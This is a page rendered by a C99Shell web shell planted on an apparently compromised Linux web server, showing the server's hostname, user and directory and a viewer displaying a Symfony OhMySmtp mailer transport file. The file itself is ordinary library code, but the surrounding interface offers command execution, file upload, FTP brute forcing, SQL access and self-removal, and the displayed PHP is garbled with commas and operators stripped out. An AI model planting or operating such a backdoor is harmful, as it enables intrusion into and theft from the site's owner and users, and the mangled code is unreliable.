!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/oh-my-smtp-mailer/Transport/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OhMySmtpApiTransport.php (5.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\OhMySmtp\Transport;

use 
Psr\EventDispatcher\EventDispatcherInterface;
use 
Psr\Log\LoggerInterface;
use 
Symfony\Component\Mailer\Bridge\MailPace\Transport\MailPaceApiTransport;
use 
Symfony\Component\Mailer\Envelope;
use 
Symfony\Component\Mailer\Exception\HttpTransportException;
use 
Symfony\Component\Mailer\Header\TagHeader;
use 
Symfony\Component\Mailer\SentMessage;
use 
Symfony\Component\Mailer\Transport\AbstractApiTransport;
use 
Symfony\Component\Mime\Email;
use 
Symfony\Contracts\HttpClient\Exception\DecodingExceptionInterface;
use 
Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;
use 
Symfony\Contracts\HttpClient\ResponseInterface;

trigger_deprecation('symfony/oh-my-smtp-mailer''6.2''The "%s" class is deprecated, use "%s" instead.'OhMySmtpApiTransport::class, MailPaceApiTransport::class);

/**
 * @author Paul Oms <support@ohmysmtp.com>
 *
 * @deprecated since Symfony 6.2, use MailPaceApiTransport instead
 */
final class OhMySmtpApiTransport extends AbstractApiTransport
{
    private const 
HOST 'app.ohmysmtp.com/api/v1';

    private 
string $key;

    public function 
__construct(string $keyHttpClientInterface $client nullEventDispatcherInterface $dispatcher nullLoggerInterface $logger null)
    {
        
$this->key $key;

        
parent::__construct($client$dispatcher$logger);
    }

    public function 
__toString(): string
    
{
        return 
sprintf('ohmysmtp+api://%s'$this->getEndpoint());
    }

    protected function 
doSendApi(SentMessage $sentMessageEmail $emailEnvelope $envelope): ResponseInterface
    
{
        
$response $this->client->request('POST''https://'.$this->getEndpoint().'/send', [
            
'headers' => [
                
'Accept' => 'application/json',
                
'OhMySMTP-Server-Token' => $this->key,
                
'Content-Type' => 'application/json',
                
'User-Agent' => 'OhMySMTP Symfony Mailer',
            ],
            
'json' => $this->getPayload($email$envelope),
        ]);

        try {
            
$statusCode $response->getStatusCode();
            
$result $response->toArray(false);
        } catch (
DecodingExceptionInterface) {
            throw new 
HttpTransportException('Unable to send an email: '.$response->getContent(false).sprintf(' (code %d).'$statusCode), $response);
        } catch (
TransportExceptionInterface $e) {
            throw new 
HttpTransportException('Could not reach the remote OhMySMTP endpoint.'$response0$e);
        }

        if (
200 !== $statusCode) {
            throw new 
HttpTransportException('Unable to send an email: '.$response->getContent(false), $response);
        }

        
$sentMessage->setMessageId($result['id']);

        return 
$response;
    }

    private function 
getPayload(Email $emailEnvelope $envelope): array
    {
        
$payload = [
            
'from' => $envelope->getSender()->toString(),
            
'to' => implode(','$this->stringifyAddresses($this->getRecipients($email$envelope))),
            
'cc' => implode(','$this->stringifyAddresses($email->getCc())),
            
'bcc' => implode(','$this->stringifyAddresses($email->getBcc())),
            
'replyto' => implode(','$this->stringifyAddresses($email->getReplyTo())),
            
'subject' => $email->getSubject(),
            
'textbody' => $email->getTextBody(),
            
'htmlbody' => $email->getHtmlBody(),
            
'attachments' => $this->getAttachments($email),
            
'tags' => [],
        ];

        
$headersToBypass = ['from''to''cc''bcc''subject''content-type''sender''reply-to'];

        foreach (
$email->getHeaders()->all() as $name => $header) {
            if (
\in_array($name$headersToBypasstrue)) {
                continue;
            }

            if (
$header instanceof TagHeader) {
                
$payload['tags'][] = $header->getValue();
                continue;
            }

            
$payload['Headers'][] = [
                
'Name' => $header->getName(),
                
'Value' => $header->getBodyAsString(),
            ];
        }

        return 
$payload;
    }

    private function 
getAttachments(Email $email): array
    {
        
$attachments = [];
        foreach (
$email->getAttachments() as $attachment) {
            
$headers $attachment->getPreparedHeaders();
            
$filename $headers->getHeaderParameter('Content-Disposition''filename');
            
$disposition $headers->getHeaderBody('Content-Disposition');

            
$att = [
                
'name' => $filename,
                
'content' => $attachment->bodyToString(),
                
'content_type' => $headers->get('Content-Type')->getBody(),
            ];

            if (
'inline' === $disposition) {
                
$att['cid'] = 'cid:'.$filename;
            }

            
$attachments[] = $att;
        }

        return 
$attachments;
    }

    private function 
getEndpoint(): ?string
    
{
        return (
$this->host ?: self::HOST).($this->port ':'.$this->port '');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--